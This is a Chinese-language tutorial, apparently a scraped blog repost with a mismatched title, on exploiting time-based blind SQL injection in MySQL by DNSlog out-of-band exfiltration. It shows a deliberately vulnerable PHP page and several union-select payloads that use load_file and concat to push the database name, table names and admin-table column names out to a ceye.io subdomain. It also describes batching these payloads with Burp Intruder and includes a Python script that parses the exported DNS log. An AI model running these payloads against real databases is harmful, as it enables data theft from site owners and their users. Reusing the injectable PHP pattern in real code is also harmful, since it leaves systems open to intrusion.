json里面的list数据取不出来_sql盲注的困局:利用DNSlog快速导出数据
對于一個sql注入點來說最幸運的就是支持堆疊注入,最蛋疼的就是盲注,盲注里面難搞的就是基于時間的盲注。
我們在本地利用這段代碼進行演示
<?php error_reporting(0); $link = mysqli_connect('localhost','root','root'); mysqli_set_charset($link,'utf8'); mysqli_select_db($link,'test'); $id = $_GET['id']; $sql = "select * from test.order where id=$id"; $res = mysqli_query($link,$sql);把鏈接丟到sqlmap里面,可以看到sqlmap成功檢測出了時間盲注
在局域網網絡環境延遲很低,并且沒有任何安全軟件的前提下
sqlmap猜解表明的速度依然非常慢,接下來我們嘗試用dns log的方式來獲取數據。
dns猜解數據需要執行
show variables like '%secure%';
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
如果secure_file_priv不為空,可以通過設置my.ini來配置。加入secure_file_priv="",然后重啟mysql即可。
還需要一個dnslog的平臺,我一般用 http://ceye.io/
平臺會分配一個子域名
ping一下這個域名
然后即可看到剛才ping的記錄
然后我們測試一下注入點是否支持dns外帶數據。
通過
http://127.0.0.1/test.php?id=1 union select 1,2,3,4 and sleep(10)
猜解到字段數為4,然后測試是否支持dns外帶數據
http://127.0.0.1/test.php?id=1 union select 1,load_file('t1.xxxx.ceye.ioabc'),3,4
可以看到t1的被帶了出來
下面進行數據拆解
查數據庫名
http://127.0.0.1/test.php?id=1 union select 6,load_file(concat('',(select database()),'.xxx.ceye.ioabc')),3,8
數據庫名為test
然后拆解第一個表名
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,4
第一個表名為admin
然后我們通過burp來進行批量拆解,先查表的數量
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select count(table_name) from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxx.ceye.ioabc')),3,4
一共有四張表
然后批量獲取表名
127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select table_name from information_schema.tables where table_schema=0x74657374 limit 0,1),'.xxxx.ceye.ioabc')),3,
發送URL到burp的測試器
limit 0,1 后面的0設置為變量
payload選擇
線程設置為 1
然后開始攻擊
完成以后
可以在平臺上查到獲取到的表名
平臺提供文件導出為json文件的功能
下載到本地,放到腳本目錄
#python3 import json#自己平臺的地址 url = '.xxx.ceye.io'f = open('./data.json') json_data = f.read() f.close()data = json.loads(json_data)data_list = []for i in data:data_list.append(i['name'].replace(url,''))data_list = list(set(data_list)) for i in data_list:print(i)可以去重以后打印出剛才獲取的數據
清理歷史記錄
再通過burp獲取admin表的字段
http://127.0.0.1/test.php?id=1 union select 1,load_file( concat('',(select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1),'.xxxx.ceye.ioabc')),3,4
獲取數據
select column_name from information_schema.columns where table_name=0x61646D696E limit 0,1
總結
以上是生活随笔為你收集整理的json里面的list数据取不出来_sql盲注的困局:利用DNSlog快速导出数据的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: flume数据丢失与重复_Flume监听
- 下一篇: java中常用的关键字_java中的常用